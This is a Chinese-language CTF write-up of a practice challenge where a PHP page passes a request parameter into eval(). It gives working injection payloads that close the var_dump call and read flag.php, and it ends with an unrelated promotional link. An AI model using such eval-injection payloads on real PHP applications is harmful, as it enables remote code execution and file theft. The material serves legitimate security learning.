CTF/CTF練習平臺-本地包含【eval函式閉合及程式碼段的理解】
阿新 • • 發佈:2019-01-13
原題內容:
地址:http://120.24.86.145:8003/
怎麼說呢,難其實也不難,還是基本知識點掌握不足吧,寫個wp記錄下自己學習到的知識點
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval ( "var_dump($a);"); show_source(__FILE__); ?>
拿到程式碼,還是很簡單就分析出hello這個post/get獲取的引數值很重要($_REQUEST對get,post都能接受)
簡單起見,當然選擇get傳值
其實根據最基本注入''引號閉合的思路,很容易就想到了利用括號,畢竟,eval中是執行的程式碼段
最基本的:
http://120.24.86.145:8003/index.php?hello= 1);print_r(2
上面的程式碼結合起來就是:
eval( "var_dump(1);print_r(2);" );
結果也是很明顯:
說明執行沒問題,其實後面就簡單了,開啟檔案就好
下面理一理兩個失誤點,
第一點,看了大佬們wp,對大佬們的答案,非常不理解:
hello=);print_r(file("./flag.php"));//
問了一個大佬才知道這裡的訣竅
劃重點,這裡很關鍵,eval函式中,“”內部為程式碼,//只在程式碼中起作用,相當於只註釋了);
第二點,file_get_contents與file及var_dump,print_r和echo(劃重點,後面三個的區別有待解決)
這個的區別我在網上沒有找到詳細的解釋,不過,我本地做了個測試,簡單說明下問題吧,求大佬解答
file測試沒問題,接下來看file_get_contents,先不說明,看幾張圖
這個圖的測試結果,顯示空白,於是我進行了接下來的測試
這我就很好奇了,接下來我刪除該字串又測試了echo,依舊是空白
緊接著我測試了var_dump()
沒錯,可以顯示
按照php手冊的解釋,file_get_contents讀取檔案為字串,var_dump證明了這一點,可是print_r和echo為啥不能輸出?
待解決,以後補上
再分享一下我老師大神的人工智慧教程吧。零基礎!通俗易懂!風趣幽默!還帶黃段子!希望你也加入到我們人工智慧的隊伍中來!https://blog.csdn.net/jiangjunshow